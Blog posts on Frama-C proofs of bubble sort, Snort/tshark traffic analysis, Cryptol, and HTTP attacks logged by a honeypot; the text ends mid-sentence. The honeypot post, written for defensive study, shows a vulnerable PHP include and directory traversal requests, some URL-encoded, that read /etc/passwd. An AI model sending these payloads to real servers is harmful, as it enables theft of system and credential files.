Correct sorting with Frama-C and some thoughts on Formal Methdos

12 02 2011

A couple of years ago, during my masters on Formal Methods I have been working with automatic provers and I also used Frama-C, this is a tool that allow the user to prove C code directly in the source code, using a special notation in the comments, called ACSL notation.

Frama-C allows you to make two kinds of proofs, security and safety ones. The safety ones are related with arrays index out of bounds access, and so. This kind of proofs are related to the language itself and they are easy to do if you use loop invariants, pre and post conditions.
If you use a high level language, like JAVA you won’t have almost none safety problems.
Because C is too close to machine level code, we can do things that we do not intend (or maybe we do and we use C exactly because it allows this kind of things). For example:

// foo.c file
#include <stdio.h>

int main() {
char *a = "I like you";
char *b = "I hate you";

if(&a < &b) a = *(&a + 1);
else        a = *(&a - 1);

printf("%s\n", a);
}


As you can see, I never used the $b$ variable for nothing, just have declared it. And the result is:

[ulissesaraujocosta@maclisses:c]-$gcc -o foo foo.c [ulissesaraujocosta@maclisses:c]-$ ./foo
I hate you


This lack of security of language C is one of the reasons we need to write safety statements. Of course this kind of things is why C is so fast and powerful, the person in charge is always the programmer. If you are interested in this kind of tricks and want to understand more about this and smashing the stack and so, feel free to read more posts in my blog about this subject.

The other kind of statements (security ones) are related to the functionality of the program and that’s basically where the problem or the effort is, I will talk about this later on. First let’s see the algorithm and the implementation in C.

Code

The algorithm I use here is just a simple example. I used bubble sort, this is a sort algorithm not very efficient, but it uses none more memory then the needed to store the structure you want to sort.
To get a visual understanding of the algorithm (and to see it inefficiency) check out this youtube video.

This is the implementation of the algorithm:

void swap(int *i, int *j) {
int tmp = *i;
*i = *j;
*j = tmp;
}

void bubbleSort(int *vector, int tam) {
int j, i;
j = i = 0;
for(i=0; i<tam; i++) {
for(j=0; j<tam-i-1; j++) {
g_swap = 0;
if (vector[j] > vector[j+1]) {
swap(&vector[j],&vector[j+1]);
}
}
}
}


Pre, Post conditions and thinking formally

So, as you can see in the video (or in the code) the algorithm is pretty much simple, we pick the $i$ element cross the array $n$ times and for each element we compare with $i$, this $n$ times.

We have as pre conditions: The size of the $vector$ must be greater than zero, and all the positions in that vector exists, so in Frama-C we use the $valid\_range(vector, i, j)$, where $i$ and $j$ are indexes of the $vector$ to say that all elements exist.

$tam > 0$

$valid\_range(vector,0,tam-1)$

Ans as pos conditions we must ensure that the array is sorted ( I will talk predicate this later).
You may think that this by itself is enough to make a complete proof, but you are wrong. Image that my function clear all the elements in the array and fill the array with $\{1,2,..,tam\}$, our code will be proved and its wrong!

So, we need to say more… First thing that can pop to your head is OK, we will say that we have the same numbers in the beginning and in the end and you write this:
$\forall_a : 0 \leq a < tam : (\exists_b : 0 \leq b < tam : old(vector(b)) \equiv vector(a))$

In fact this is closer (not yet right), imagine that you give as input:
$\{4,7,9,1,0,3,4\}$. If your code returns $\{0,1,3,4,7,9\}$ (we miss the repeated $4$) the code will be proved.
So, the solution if to make a $Permut$ predicate and prove for the multi set.
So, this are the post conditions:

$sorted(vector,0,tam-1)$

$Permut\{Old,Here\}(vector,0,tam-1);$

Frama-C is so cool because for example at the pos condition if we want to refer to the state in the beginning (before call the function) we use $Old$ and if we want to refer to the moment after the call we heave the $Here$ keyword, remember we are at the post condition, so this wil be executed in the end (so $Here$ means the end of the function call).

Predicates

So, here is the $Sorted$ predicate. Predicates receive a state $L$ and the parameters (just like a function) and they return bool values (true or false). Inside we use regular ACSL notation. Here I define that for an array to be sorted each element must be less or equal to the next one.

/*@ predicate Sorted{L}(int a[], integer l, integer h) =
@   \forall integer i; l <= i < h ==> a[i] <= a[i+1];
@*/


The $Permut$ is defined inductively, so we receive two states $L1$ and $L2$ and the array $a$ and the range where we want to permute.
We write multiple rules for the permutation, reflection, symmetry, transitivity and finally the most important one, the $Swap$. So basically here we say that a permutation is a set of successive swaps.

/*@ inductive Permut{L1,L2}(int a[], integer l, integer h) {
@  case Permut_refl{L}:
@   \forall int a[], integer l, h; Permut{L,L}(a, l, h) ;
@  case Permut_sym{L1,L2}:
@    \forall int a[], integer l, h;
@      Permut{L1,L2}(a, l, h) ==> Permut{L2,L1}(a, l, h) ;
@  case Permut_trans{L1,L2,L3}:
@    \forall int a[], integer l, h;
@      Permut{L1,L2}(a, l, h) && Permut{L2,L3}(a, l, h) ==>
@        Permut{L1,L3}(a, l, h) ;
@  case Permut_swap{L1,L2}:
@    \forall int a[], integer l, h, i, j;
@       l <= i <= h && l <= j <= h && Swap{L1,L2}(a, i, j) ==>
@     Permut{L1,L2}(a, l, h) ;
@ }
@
@ predicate Swap{L1,L2}(int a[], integer i, integer j) =
@      \at(a[i],L1) == \at(a[j],L2)
@   && \at(a[j],L1) == \at(a[i],L2)
@   && \forall integer k; k != i && k != j ==> \at(a[k],L1) == \at(a[k],L2);
@*/


So, as you can see the bubble sort function itself have 18 lines of code, and in the end with the annotations for the proof we end with 90 lines, but we proved it!

Thoughts

My main point here is to show the thinking we need to have if we want to prove code in general. Pick what language you want, this is the easiest way you will have to prove software written in C. Sometimes if your functions are too complex you may need to prove it manually. The problem is not on the Frama-C side, Frama-C only generates the proof obligations to feed to automatic provers, like Yices, CVC3, Simplify, Z3, Alt-Ergo and so.

My point here is to show the cost of proving software. Proving software, specially if the language is too low level (like C – you need to care about a lot more things) is hard work and is not easy to a programmer without theoretical knowledge.
On the other side, you end up with a piece of software that is proved. Of course this proof is always requirements oriented, ny that I mean: if the requirements are wrong and the program is not doing what you expect the proof is along with that.
I do not stand to proof of all the code on the planet, but the proper utilization of FM (formal methods) tools for critical software.

I steel been using Frama-C since I learned it in 2009, nowadays I use it for small critical functions (because I want, I’m not encouraged to do so) and I have to say that the use of FM in the industry is far. As I told you Frama-C is the easiest automatic proof tool you will find at least that I know.

Talking with Marcelo Sousa about the use of FM in industry, we came to the conclusion that the people that are making this kind of tools and have the FM knowledge don’t make companies. I think if more brilliant people like John Launchbury make companies, definitely FM will be more used.

Source code

Here is all the code together if you want to test it:

// #include <stdio.h>

/*@ predicate Sorted{L}(int a[], integer l, integer h) =
@   \forall integer i; l <= i < h ==> a[i] <= a[i+1];
@
@ predicate Swap{L1,L2}(int a[], integer i, integer j) =
@      \at(a[i],L1) == \at(a[j],L2)
@   && \at(a[j],L1) == \at(a[i],L2)
@   && \forall integer k; k != i && k != j ==> \at(a[k],L1) == \at(a[k],L2);
@*/

/*@ inductive Permut{L1,L2}(int a[], integer l, integer h) {
@  case Permut_refl{L}:
@   \forall int a[], integer l, h; Permut{L,L}(a, l, h) ;
@  case Permut_sym{L1,L2}:
@    \forall int a[], integer l, h;
@      Permut{L1,L2}(a, l, h) ==> Permut{L2,L1}(a, l, h) ;
@  case Permut_trans{L1,L2,L3}:
@    \forall int a[], integer l, h;
@      Permut{L1,L2}(a, l, h) && Permut{L2,L3}(a, l, h) ==>
@        Permut{L1,L3}(a, l, h) ;
@  case Permut_swap{L1,L2}:
@    \forall int a[], integer l, h, i, j;
@       l <= i <= h && l <= j <= h && Swap{L1,L2}(a, i, j) ==>
@     Permut{L1,L2}(a, l, h) ;
@ }
@*/

/*@ requires \valid(i) && \valid(j);
@ //assigns *i, *j; //BUG 0000080: Assertion failed in jc_interp_misc.ml
@ ensures \at(*i,Old) == \at(*j,Here) && \at(*j,Old) == \at(*i,Here);
@*/
void swap(int *i, int *j) {
int tmp = *i;
*i = *j;
*j = tmp;
}

/*@ requires tam > 0;
@ requires \valid_range(vector,0,tam-1);
@ ensures Sorted{Here}(vector, 0, tam-1);
@ ensures Permut{Old,Here}(vector,0,tam-1);
@*/
void bubbleSort(int *vector, int tam) {
int j, i;
j = i = 0;
//@ ghost int g_swap = 0;

/*@ loop invariant 0 <= i < tam;
@ loop invariant 0 <= g_swap <= 1;
//last i+1 elements of sequence are sorted
@ loop invariant Sorted{Here}(vector,tam-i-1,tam-1);
//and are all greater or equal to the other elements of the sequence.
@ loop invariant 0 < i < tam ==> \forall int a, b; 0 <= b <= tam-i-1 <= a < tam ==> vector[a] >= vector[b];
@ loop invariant 0 < i < tam ==> Permut{Pre,Here}(vector,0,tam-1);
@ loop variant tam-i;
@*/
for(i=0; i<tam; i++) {
//@ ghost g_swap = 0;
/*@ loop invariant 0 <= j < tam-i;
@ loop invariant 0 <= g_swap <= 1;
//The jth+1 element of sequence is greater or equal to the first j+1 elements of sequence.
@ loop invariant 0 < j < tam-i ==> \forall int a; 0 <= a <= j ==> vector[a] <= vector[j+1];
@ loop invariant 0 < j < tam-i ==> (g_swap == 1) ==> Permut{Pre,Here}(vector,0,tam-1);
@ loop variant tam-i-j-1;
@*/
for(j=0; j<tam-i-1; j++) {
g_swap = 0;
if (vector[j] > vector[j+1]) {
//@ ghost g_swap = 1;
swap(&vector[j],&vector[j+1]);
}
}
}
}

/*@ requires \true;
@ ensures \result == 0;
@*/
int main(int argc, char *argv[]) {
int i;
int v[9] = {8,5,2,6,9,3,0,4,1};

bubbleSort(v,9);

//     for(i=0; i<9; i++)
//         printf("v[%d]=%d\n",i,v[i]);

return 0;
}


If you are interested in the presentation me and pedro gave at our University, here it is:

Capture and dissect network traffic

1 04 2009

Currently I am doing research at the University of Minho in the group of distributed systems, with duration of one year. My job is to find a way to identify specific links between a user and a distributed system. The general idea is to draw a map of services in a distributed system. This post only refers to the first milestone.

The proposal was to make such a system using Snort.

Snort

Snort is a Network intrusion detection system, that means with Snort you can detect malicious activity in your network. We can detect many types of network attacks. We can identify DoS, DDoS attacks, port scans, cracking attempts, and much more.

Snort can operate in two different ways. We can set up Snort to run in passive mode, putting it to listen in promiscuous mode. That is, because Ethernet network switches send traffic to all computers connected to itself, we get traffic addressed to other machines on the network. To do this we only need to connect to the network and turn Snort on in our machine, no one knows that we are recording every traffic (including traffic destined for other computers).

Snort may also run in active mode. This “active” is not able to modify the data channel, but to be able to be installed in a network, a router for example and reap more information than in passive mode. Thus it makes sense to use the capacity of rules that Snort supports, to filter the traffic that it read.

To do this, Snort capture all packets that pass the network and interprets each. As the rules we have defined Snort tries to find these patterns in each packet, or each set of packets and take certain actions for each of them.

For example, if a large number of TCP requests reach a particular host, to a large number of ports in a short space of time we probably are the target of a port scan. NIDS like Snort know how to find these patterns and alerting the network administrator.

Objective

Our aim was to use Snort to capture all traffic into passive mode.

root@pig:# snort -u snort -g snort -D -d -l /var/log/snort -c /etcsnort/snort.debian.conf -i eth0

We are saving the logs in binary (tcpdump format), for that I use the “-d -l /dir/” flags. I prefer to save all the packets into binary because is more easier to parse, than the structure of files and directories that Snort creates by default.

I started by trying to use some language that advised me to try to do the parsing of the file created by snort. Initially started to use python, but only find a tcpdump parser and could not get more than one file translated in tcpdump to hexadecimal.
After that I tried to use Haskell and I was amazed!

House is a Haskell Operative System done by The Programatica Project.

This is a system than can serve as a platform for exploring various ideas relating to low-level and system-level programming in a high-level functional language.

And indeed helped me a lot in doing my job. This project have already done a lot of parsers for network packets. It implements the Ethernet, IPv4, IPv6, TCP, UDP, ICMP, ARP and I think is all.

The libpcap (tcpdump parser) is already implemented in Haskell too, so is very simple to parse a complete packet:

getPacket :: [Word8] -> InPacket
getPacket bytes =  toInPack $listArray (0,Prelude.length bytes-1)$ bytes

-- Ethernet | IP | TCP | X
getPacketTCP :: [Word8] -> Maybe (NE.Packet (NI4.Packet (NT.Packet InPacket)))
getPacketTCP bytes = doParse $getPacket bytes :: Maybe (NE.Packet (NI4.Packet (NT.Packet InPacket)))  As you can see is too easy to have a compete structure of a packet parsed with this libraries. The problem is that they don’t have already implemented a application packet parser. So, according to that image: This is the level of depth we can go with this libraries. What is very good, but not perfect for me :S My supervisor told me to start searching a new tool to do this job. I was sad because I could not do everything in Haskell. But it is already promised that I will continue this project in Haskell. You can see the git repo here. I find tshark, a great tool to dissect and analyze data inside tcpdump files. The power of tshark tshark is the terminal based Wireshark, with it we can do everything we do with wireshark. Show all communications with the IP 192.168.74.242 root@pig:# tshark -R "ip.addr == 192.168.74.242" -r snort.log  ... 7750 6079.816123 193.136.19.96 -> 192.168.74.242 SSHv2 Client: Key Exchange Init 7751 6079.816151 192.168.74.242 -> 193.136.19.96 TCP ssh > 51919 [ACK] Seq=37 Ack=825 Win=7424 Len=0 TSV=131877388 TSER=1789588 7752 6079.816528 192.168.74.242 -> 193.136.19.96 SSHv2 Server: Key Exchange Init 7753 6079.817450 193.136.19.96 -> 192.168.74.242 TCP 51919 > ssh [ACK] Seq=825 Ack=741 Win=7264 Len=0 TSV=1789588 TSER=131877389 7754 6079.817649 193.136.19.96 -> 192.168.74.242 SSHv2 Client: Diffie-Hellman GEX Request 7755 6079.820784 192.168.74.242 -> 193.136.19.96 SSHv2 Server: Diffie-Hellman Key Exchange Reply 7756 6079.829495 193.136.19.96 -> 192.168.74.242 SSHv2 Client: Diffie-Hellman GEX Init 7757 6079.857490 192.168.74.242 -> 193.136.19.96 SSHv2 Server: Diffie-Hellman GEX Reply 7758 6079.884000 193.136.19.96 -> 192.168.74.242 SSHv2 Client: New Keys 7759 6079.922576 192.168.74.242 -> 193.136.19.96 TCP ssh > 51919 [ACK] Seq=1613 Ack=1009 Win=8960 Len=0 TSV=131877415 TSER=1789605 ...  Show with a triple: (time, code http, http content size), separated by ‘,’ and between quotation marks. root@pig:# tshark -r snort.log -R http.response -T fields -E header=y -E separator=',' -E quote=d -e frame.time_relative -e http.response.code -e http.content_length  ... "128.341166000","200","165504" "128.580181000","200","75332" "128.711618000","200","1202" "149.575548000","206","1" "149.719938000","304", "149.882290000","404","338" "150.026474000","404","341" "150.026686000","404","342" "150.170295000","304", "150.313576000","304", "150.456650000","304", ...  Show a tuple of arity 4 with: (time, source ip, destination ip, tcp packet size). root@pig:# tshark -r snort.log -R "tcp.len>0" -T fields -e frame.time_relative -e ip.src -e ip.dst -e tcp.len  ... 551.751252000 193.136.19.96 192.168.74.242 48 551.751377000 192.168.74.242 193.136.19.96 144 551.961545000 193.136.19.96 192.168.74.242 48 551.961715000 192.168.74.242 193.136.19.96 208 552.682260000 193.136.19.96 192.168.74.242 48 552.683955000 192.168.74.242 193.136.19.96 1448 552.683961000 192.168.74.242 193.136.19.96 1448 552.683967000 192.168.74.242 193.136.19.96 512 555.156301000 193.136.19.96 192.168.74.242 48 555.158474000 192.168.74.242 193.136.19.96 1448 555.158481000 192.168.74.242 193.136.19.96 1400 556.021205000 193.136.19.96 192.168.74.242 48 556.021405000 192.168.74.242 193.136.19.96 160 558.874202000 193.136.19.96 192.168.74.242 48 558.876027000 192.168.74.242 193.136.19.96 1448 ...  Show with a triple: (source ip, destination ip, port of destination ip). root@pig:# tshark -r snort.log -Tfields -e ip.src -e ip.dst -e tcp.dstport  ... 192.168.74.242 193.136.19.96 37602 192.168.74.242 193.136.19.96 37602 193.136.19.96 192.168.74.242 22 192.168.74.242 193.136.19.96 37602 193.136.19.96 192.168.74.242 22 193.136.19.96 192.168.74.242 22 192.168.74.242 193.136.19.96 37602 192.168.74.242 193.136.19.96 37602 192.168.74.242 193.136.19.96 37602 193.136.19.96 192.168.74.242 22 193.136.19.96 192.168.74.242 22 193.136.19.96 192.168.74.242 22 193.136.19.96 192.168.74.242 22 192.168.74.242 193.136.19.96 37602 192.168.74.242 193.136.19.96 37602 ...  Statistics Hierarchy of protocols root@pig:# tshark -r snort.log -q -z io,phs frame frames:7780 bytes:1111485 eth frames:7780 bytes:1111485 ip frames:3992 bytes:848025 tcp frames:3908 bytes:830990 ssh frames:2153 bytes:456686 http frames:55 bytes:19029 http frames:5 bytes:3559 http frames:3 bytes:2781 http frames:2 bytes:2234 http frames:2 bytes:2234 data-text-lines frames:10 bytes:5356 tcp.segments frames:3 bytes:1117 http frames:3 bytes:1117 media frames:3 bytes:1117 udp frames:84 bytes:17035 nbdgm frames:50 bytes:12525 smb frames:50 bytes:12525 mailslot frames:50 bytes:12525 browser frames:50 bytes:12525 dns frames:34 bytes:4510 llc frames:3142 bytes:224934 stp frames:3040 bytes:182400 cdp frames:102 bytes:42534 loop frames:608 bytes:36480 data frames:608 bytes:36480 arp frames:38 bytes:2046  Conversations We use: -z conv,TYPE,FILTER TYPE could be: • eth, • tr, • fc, • fddi, • ip, • ipx, • tcp, • udp And the filters are used to restrict the statistics. root@pig:# tshark -r snort.log -q -z conv,ip,tcp.port==80 ================================================================================ IPv4 Conversations Filter:tcp.port==80 | | | Total | |Frames Bytes | |Frames Bytes | |Frames Bytes | 193.136.19.148 192.168.74.242 141 13091 202 259651 343 272742 192.168.74.242 128.31.0.36 22 6858 28 4784 50 11642 ================================================================================  IO We use: -z io,stat,INT,FILTER,…,FILTER root@pig:# tshark -r snort.log -q -z io,stat,300,'not (tcp.port=22)' =================================================================== IO Statistics Interval: 300.000 secs Column #0: | Column #0 Time |frames| bytes 000.000-300.000 2161 543979 300.000-600.000 1671 264877 600.000-900.000 508 46224 900.000-1200.000 185 12885 1200.000-1500.000 201 14607 1500.000-1800.000 187 13386 1800.000-2100.000 189 13887 2100.000-2400.000 187 13386 2400.000-2700.000 189 13887 2700.000-3000.000 187 13386 3000.000-3300.000 185 12885 3300.000-3600.000 189 13887 3600.000-3900.000 210 15546 3900.000-4200.000 189 13887 4200.000-4500.000 187 13386 4500.000-4800.000 185 12885 4800.000-5100.000 189 13887 ===================================================================  Conclusion With tshark we could do everything we want to know what is inside a network packet. The trick is to understand the statistics that tshark generate, and know how to ask it. Now my work will get a machine to run Snort in an active mode and begin to understand how to use Snort to do all this work of collecting information. If you feel interested and understand Portuguese, see the presentation: Cryptol the language of cryptography 1 04 2009 Pedro Pereira and I are working on a new project in the Masters. The second half of the Masters is composed of a single project suggested by a company. Some companies are forming partnerships in the Masters formal methods, including: the Critical software, SIG and Galois. We chose the Galois because we also are in the area of cryptography and we already knew some work of some people from this company. The project suggested by Galois was study the Cryptol as a language of specification of cryptographic algorithms. The cipher we used for this study is the SNOW 3G (The SNOW website), later on I will talk about the specification of this cipher. In this post I am only interested to show the language. I’m going to show you some details about the language. This post is not intend to be a exhaustive explanation of Cryptol, if you looking for that you can go directly to the manuals. This post only relates my experience, and what I like it most with the language. Overview Cryptol is a high-level language that is geared to deal with low-level problems. Is a Domain-specific language to design and implement cryptographic algorithms. This language has a high percentage of correctness of the implementation of a cipher, because it implements type inference, so we can say that a big part of the language implements correctness. This correctness is also achieved thanks to the architecture of the language – functional. We don’t have side effects – a function only return something inside is codomain. In Cryptol we have this philosophy that says that everything is a sequence. This is very useful because we are working with low level data (array of bits), so we use sequences to represent that arrays. We can have nested sequences to have a more structured representation of data. For example, we can simply transform a 32-bit sequence in a 4 1-byte sequence. The size of this sequences could be implemented as finite or infinite, as we going to see later in this post. Because Cryptol is a high-level language we can also implement polymorphic functions, most of the primitive functions are implemented in polymorphic mode. The way we have to navigate throw the sequences is using recursion, or sequences comprehension, and with these two techniques we can implement recurrences. If you are a Haskell programmer you just need the next section to learn Cryptol. This language is so look a like with Haskell that even the philosophy seems to have a lot in commune. Types in Cryptol The type $[32]$ means that you have a sequence of 32-bit size. All the types in Cryptol are size oriented. The unit is the $Bit$, that you can use to represent $Bool$. To represent a infinite sequence we use the reserved word $inf$, and we write: $[inf]$ to represent that. If you want to generate a infinite sequence, we use the syntactic sugar of the sequences like that: $[1~..]$. Cryptol will infer this sequence as type $[1~..]~:~[inf][1]$ That means this sequence have infinite positions of 1-bit words. The type inference mechanism will always optimize the size that he needs, to represent the information. So, it infer the type of $[100~..]$ as: $[100~..]~:~[inf][7]$ Because, it “knows” that needs only 7-bits to represent the decimal $100$. But if you need more, you can force the type of your function. We implement polymorphism in our types, if we have: $f~:~[a]b~\rightarrow~[a]b$ This means, that the function $f$ have polymorphism over $b$, because we say that it domain is one sequence of size $a$ of type $b$, and it codomain also. Here we could also see: $f~:~[a][b]c$ meaning that $f$ is a constant of sequences of size $b$ of type $c$, $a$ times. So, lets talk about some primitive functions in Cryptol, and its types. The $tail$ function have the following type in Cryptol: $tail~:~\{a~b\}~[a+1]b~\rightarrow~[a]b$ As we can see, Cryptol is so size oriented, that we can use arithmetic operators in types. We can probably infer what this function does just from it type: $tail$ works for all $a$ and $b$ such that if we have one sequence os size $a+1$ of type $b$ it returns one sequence of size $a$ of same type. In fact this function removes the first element of one sequence. Because of this size oriented philosophy a lot of functions, that change the size of the sequences can be read just from the type. As you can see in the following list of Cryptol primitive function: $drop~:~\{ a~b~c \}~( fin~a ,~a~\geq~0)~\Rightarrow~(a ,[ a + b ]~c )~\rightarrow~[ b ]~c$ $take~:~\{ a~b~c \}~( fin~a ,~b~\geq~0)~\Rightarrow~(a ,[ a + b ]~c )~\rightarrow~[ a ]~c$ $join~:~\{ a~b~c \}~[ a ][ b ] c~\rightarrow~[ a * b ]~c$ $split~:~\{ a~b~c \}~[ a * b ] c~\rightarrow~[ a ][ b ]~c$ $tail~:~\{ a~b \}~[ a +1] b~\rightarrow~[ a ]~b$ Recursion and Recurrence Cryptol implements Recursion, just like a lot of functional languages do. Imagine the fibonacci function definition: It implementation in Crytol is exactly the same as defined mathematically. fib : [inf]32 -> [inf]32; fib n = if n == 0 then 0 else if n == 1 then 1 else fib (n-1) + fib (n-2); Cryptol uses recursion to permit us to iterate throw sequences. But, If you prefer you can implement a more functional algorithm of fibonacci function in Cryptol: fib : [inf]32 -> [inf]32; fib n = fibs @ n; where { fibs : [inf]32; fibs = [0 1] # [| x + y || x <- drop (1,fibs) || y <- fibs |]; }; Here, as you can see, we define a infinite list $fibs$ of all the fibonacci numbers, by calling the $fibs$ inside the sequences comprehension $fibs$, this is called a recurrence, and you can use that too in Cryptol. Cryptol vs C I’m going to show you some part of the implementation of SNOW 3G in C. This is a function called $MUL_{\alpha}$ MULa : [8] -> [32]; MULa(c) = join ( reverse [ ( MULxPOW(c, 23 :[32], 0xA9) ) ( MULxPOW(c, 245:[32], 0xA9) ) ( MULxPOW(c, 48 :[32], 0xA9) ) ( MULxPOW(c, 239:[32], 0xA9) ) ] );  /* The function MUL alpha. Input c: 8-bit input. Output : 32-bit output. See section 3.4.2 for details. \*/ u32 MULalpha(u8 c) { return ((((u32)MULxPOW(c,23, 0xa9)) << 24 ) | (((u32)MULxPOW(c, 245,0xa9)) << 16 ) | (((u32)MULxPOW(c, 48,0xa9)) << 8 ) | (((u32)MULxPOW(c, 239,0xa9)))) ; }  You can see that in Cryptol we just say that we want to work with a 32-bit word, and we don’t need to do any shift to our parts of the word. We just join them together. We reverse the sequence, because Cryptol stores words in little-endian, and we want to keep the definition like the specification. This is a very simple function, so the result in C is not so that different. But if we have a more complex function, we were going to start having a nightmare to write that in C. Conclusion Well, the conclusion is that Cryptol is a language that really help to write low-level algorithms. With Cryptol the specification is formal and easier to read than other languages. A value of Cryptol is that the code can be converted to other languages, such as VHDL and C. If you’re interested, take a look at the presentation that we did. References HTTP attacks 23 01 2009 In this post I will talk about the HTTP results that I collected from the experience with one honeypot. As you may know, I’ve been putting one honeypot running for 5 weeks. I’ve previously talked about SMTP and SSH attacks, now is the time for HTTP. This service (port 80) is by far the most fustigated service in the honeypot. And make sense, in this port we can have a lot of Web services with a lot of exploitable code running… This chart represents the number of hit’s in the port 80, that our honeypot had during his activity: Open Proxy’s An open proxy is like an Open mail relay, described in SMTP attacks. Anyone in the internet can use this systems to reduce their using of the bandwidth. For example, if an open proxy is located in your country, and if your internet provider only allow you to access web pages of your country, you can use this systems to visit outside pages. The process is quite simple, if you are under a proxy and you want a web page, the proxy go get them for you and send that to you. All the traffic and effort was made by the proxy. Is just like a forwarding service. Here at the University we have one closed proxy, and that is great, because a lot of pages are in cache, so even we have a 1Gb connection, the proxy don’t need to get the page we want, because have it in the cache. webcollage/1.135a The webcollage is a program that seeks the Internet images and composes them in a window. Some have described as a pop culture program. This program makes random web searches and extract the images of the results. There was a host that has make some hit’s in our honeypot’s, as we can see in the following extract from the file web.log: --MARK--,"Mon Dec 15 23:09:00 WET 2008","IIS/HTTP","92.240.68.152","192.168.1.50",56886,80, "GET http://www.morgangirl.com/pics/land/land1.jpg HTTP/1.0 User-Agent: webcollage/1.135a Referer: http://random.yahoo.com/fast/ryl Host: www.morgangirl.com ", --ENDMARK--  The interesting here is that this agent is trying to get an image using our honeypot as a open proxy. The possibilities is that our honeypot as been seen by a proxy scanner in the past that have add our honeypot to an open proxy list. Solution We can do something, if this had happened for real. We can block the IP that made the request (92.240.68.152) to avoid future requests by this host. But the problem is not from this person who is using a program to get the images. The problem here is that we are targeted as an open proxy, and probably in the future we will be asked again to get some file. A more comprehensive solution is to block all the requests made from this program. Adding this lines to the file “.htaccess” in the folder. # Start of .htaccess change. RewriteEngine On RewriteCond %{HTTP_USER_AGENT} ^webcollage RewriteRule ^.*$ - [F]
# End of .htaccess change.


This won’t prevent all the attempts to use our server as open proxy, but will prevent all the requests made by this program.

Directory traversal

A directory traversal attacks intend to exploit insufficient security validation of user-supplied input file names. The main objective of this attack is gain access to a computer file that is not intended to be accessible.

I will give you the Wikipedia example:
Imagine you have this PHP script running in your server, and this page have the name vulnerable.php:

<?php
$template = 'blue.php'; if ( isset($_COOKIE['TEMPLATE'] ) )
$template =$_COOKIE['TEMPLATE'];
include ( "/home/users/phpguru/templates/" . $template ); ?>  If someone send you this request: GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwd  Your server will return your /etc/passwd file, in the response: HTTP/1.0 200 OK Content-Type: text/html Server: Apache root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh daemon:*:1:1::/tmp: phpguru:f8fk3j1OIf31.:182:100:Admin:/home/users/phpguru/:/bin/csh  We have seen a lot of variations of this attack, as will show you after. On 4 January 2009 dozens of hit’s were made from Lelystad, The Netherlands. These hit’s were performed to verify if our HTTP server allow directory traversal, to get the file /etc/passwd by the attacker. In this case, the attacker wanted to acquire the /etc/passwd to perhaps have a list of the users that can access to the system. To possibly get access through any of them. This type of attack is usually done not asking directly for the file through its conventional path, but in an encrypted way (using exa characters). With that variations it is more unlikely that the application perform validations on what the attacker wants. Unfortunately our honeypot, not saved the log file’s during the day January 1 until 4, so we only can see in the other’s log’s the activity performed by this host. We cannot show the number of hit’s of this IP in day 4. In the following listings I will show the pairs of command that the attacker wanted to do and the package that came to our honeypot. GET ../../../../../../../../../../etc/passwd HTTP/1.1  --MARK--,"Sun Jan 4 05:20:57 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59706,80, "GET %2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 82.155.127.187 ", --ENDMARK--  GET .../../../../../../../../../../etc/passwd HTTP/1.1  --MARK--,"Sun Jan 4 05:20:58 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59711,80, "GET %2E%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 82.155.127.187 ", --ENDMARK--  GET ../../../../../../../../../../etc/passwd HTTP/1.1  --MARK--,"Sun Jan 4 05:21:02 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59727,80, "GET %2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2Fetc%5C%2Fpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 82.155.127.187 ", --ENDMARK--  GET ....................etcpasswd HTTP/1.1  --MARK--,"Sun Jan 4 05:21:04 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59740,80, "GET %2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5Cetc%5Cpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 82.155.127.187 ", --ENDMARK--  GET //etc/passwd HTTP/1.1  --MARK--,"Sun Jan 4 05:20:59 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59700,80, "GET %2F%2Fetc%2Fpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 82.155.127.187 ", --ENDMARK--  Conclusion Possibly an attacker trying to do this in a real server would get the file he wanted, but our honeypot was not prepared to respond to such attacks, and it only responds with a message 302: HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 P3P: CP='ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI' Date: Sab Jan 10 21:46:17 WET 2009 Content-Type: text/html Connection: close Accept-Ranges: bytes Set-Cookie: isHuman=Y; path=/ Set-Cookie: visits=1; expires=; path=/ Set-Cookie: ASPSESSIONIDCBBABCDC=DEADBEDFBDFCCEBBBA; path=/ Expires: Sab Jan 10 21:46:17 WET 2009 Cache-control: private <head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://bps-pc9.local.mynet/">here</a>.</body>  We can conclude that the requests that were sent to our honeypot mean that the attacker was using the NSE, which means nmap scripting engine. This is a tool that comes with nmap. Allows the user to write scripts to automate various tasks in the network. Here we can see the script that was used to perform this attack. Morfeus Fucking Scanner (MFS) MFS is a scanner that search web pages with PHP vulnerabilities. This scanner has a large number of tests for known vulnerabilities in PHP scripts. Then we show some of those applications that MFS search for vulnerabilities. WebCalendar The WebCalendar is a web calendar that can be used by one or more users, it is possible to create groups with calendars and it supports a wide range of databases. This application uses several PHP files, one of those id send_reminder.php that contained serious vulnerabilities, one of which allowed the inclusion of remote files through variable “includedir” that was not validated. So anyone can add whatever he want on this page. We found that this vulnerability only affects WebCalendar 